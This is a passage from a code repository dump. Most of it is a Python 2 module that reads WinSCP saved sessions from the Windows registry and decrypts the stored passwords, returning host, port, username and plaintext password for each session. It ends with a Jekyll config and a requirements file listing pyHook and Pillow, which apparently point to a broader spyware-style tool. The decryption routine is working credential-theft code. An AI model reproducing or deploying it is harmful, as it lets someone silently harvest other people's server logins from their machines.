2\Configuration\Security', 60 | 0, accessRead) 61 | thisName = str(win32api.RegQueryValueEx(key, 'UseMasterPassword')[0]) 62 | 63 | if thisName == '0': 64 | return False 65 | else: 66 | return True 67 | 68 | def get_logins_info(self): 69 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE 70 | try: 71 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Sessions', 0, 72 | accessRead) 73 | except Exception, e: 74 | return False 75 | 76 | num_profiles = win32api.RegQueryInfoKey(key)[0] 77 | 78 | pwdFound = [] 79 | for n in range(num_profiles): 80 | name_skey = win32api.RegEnumKey(key, n) 81 | 82 | skey = win32api.RegOpenKey(key, name_skey, 0, accessRead) 83 | num = win32api.RegQueryInfoKey(skey)[1] 84 | 85 | port = '' 86 | values = {} 87 | 88 | for nn in range(num): 89 | k = win32api.RegEnumValue(skey, nn) 90 | 91 | if k[0] == 'HostName': 92 | self.set_hostname(k[1]) 93 | 94 | if k[0] == 'UserName': 95 | self.set_username(k[1]) 96 | 97 | if k[0] == 'Password': 98 | self.set_hash(k[1]) 99 | 100 | if k[0] == 'PortNumber': 101 | port = str(k[1]) 102 | 103 | if num != 0: 104 | if port == '': 105 | port = '22' 106 | try: 107 | password = self.decrypt_password() 108 | values['Password'] = password 109 | except Exception, e: 110 | pass 111 | 112 | values['Hostname'] = self.get_hostname() 113 | values['Port'] = port 114 | values['Username'] = self.get_username() 115 | 116 | pwdFound.append(values) 117 | 118 | # print the results 119 | return pwdFound 120 | 121 | def decrypt_password(self): 122 | hex_flag = 0xFF 123 | 124 | flag = self.decrypt_char() 125 | if flag == hex_flag: 126 | self.decrypt_char() 127 | length = self.decrypt_char() 128 | else: 129 | length = flag 130 | 131 | ldel = (self.decrypt_char()) * 2 132 | 133 | hash = self.get_hash() 134 | self.set_hash(hash[ldel: len(hash)]) 135 | 136 | result = '' 137 | for ss in range(length): 138 | 139 | try: 140 | result += chr(int(self.decrypt_char())) 141 | except Exception, e: 142 | pass 143 | 144 | if flag == hex_flag: 145 | key = self.get_username() + self.get_hostname() 146 | result = result[len(key): len(result)] 147 | 148 | return result 149 | 150 | # --------- Main function --------- 151 | def run(self): 152 | 153 | if self.check_winscp_installed(): 154 | if not self.check_masterPassword(): 155 | r = self.get_logins_info() 156 | if r == False: 157 | pass 158 | else: 159 | pass 160 | else: 161 | pass 162 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-cayman -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pycrypto==2.6.1 2 | Pillow==3.4.2 3 | pyHook==1.5.1 4 | pyasn1==0.1.9 5 | --------------------------------------------------------------------------------